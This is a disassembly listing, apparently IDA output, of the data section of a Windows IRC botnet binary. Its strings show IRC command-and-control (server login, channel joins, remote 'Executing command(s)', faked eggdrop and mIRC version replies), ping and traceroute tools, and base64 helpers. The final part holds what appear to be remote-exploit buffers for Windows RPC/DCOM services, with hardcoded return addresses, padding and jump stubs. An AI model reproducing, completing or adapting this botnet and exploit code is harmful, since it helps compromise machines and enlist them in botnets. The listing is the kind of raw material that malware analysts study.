dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 81B6AA8Eh, 0BAB5FABBh, 989898ABh, 0A3F2h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 29F60h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 3351E90h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 3290h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 2C45458h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 51F0B7A1h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 26C8CE80h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 26B60h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 2C684E80h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 2C558h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 29E403A0h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 17408308h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 172A8h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 0B2ECE0h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 465F10ECh		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 11BA18h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 16A18h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 0E3E403A8h		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 546C2A8h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 4618h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 0A42278h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 2A860h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 56EC267Eh		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 137128h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 23901E20h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 15E10h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 0A2C60h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 74A60h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 159790h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 0D5919B11h		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
dword_419A7C	dd 5136F8h		; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 221F8h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 50C1B50h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 2C338h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 0B04290h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 14FE20h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 11AA88h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 146288h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 4729D50h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 56EB58h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 5F3750h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 423C479Ah		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 23410B60h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 9815D395h		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 4698D60h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 10DA78h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 77400328h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
dword_419BA4	dd 512EA0h		; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 20EA0h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 65782209h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 109E96E7h		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 0A4053CD8h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 162208h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 0C17A208h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 4CF2208h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 1480A660h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 4B90h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 155864D8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 22D988A0h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 22DEDA78h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 0E53CCCE8h		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 0E53CD300h		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 5561C7F9h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 67270B61h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 1520A0h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 0AE1FF760h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 2BAFD860h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 15D698h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 0B8650h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 4A38h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 8Ah,	0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 0CD818BACh, 8196F4BDh, 0D6C3D39Ah, 0FDD3F9B9h, 0C8AAE7D9h
					; DATA XREF: sub_40A9CF+790o
		dd 0E6FAEE95h, 0D8C5D3E2h, 2 dup(0)
dword_419DB0	dd 2E78970h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 0B7B3F8D0h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 0C2C28390h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
dword_419DDC	dd 0AE9D81BBh, 839E9C8Fh, 0A4E7A68Fh, 0FEBE81C3h, 0DCEAF0A0h
					; DATA XREF: sub_40A9CF+534o
		dd 0F1ECE3FEh, 2 dup(0)
dword_419DFC	dd 81BEABBDh, 98B8B5BCh, 83D299B0h, 0E2A0A3F4h,	2 dup(0)
					; DATA XREF: sub_40A9CF+448o
aKnqQxjnuXxQEBZ	db 'ߕ帚ɟËӋ٘',0
					; DATA XREF: sub_40A9CF+437o
		align 8
dword_419E48	dd 1FD30h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 67294FA1h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 67265A79h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 14705160h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 176C5160h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 0AF99D8h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 1D17950h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 146E00h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 1A80A5D1h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------

loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h

loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4

loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------

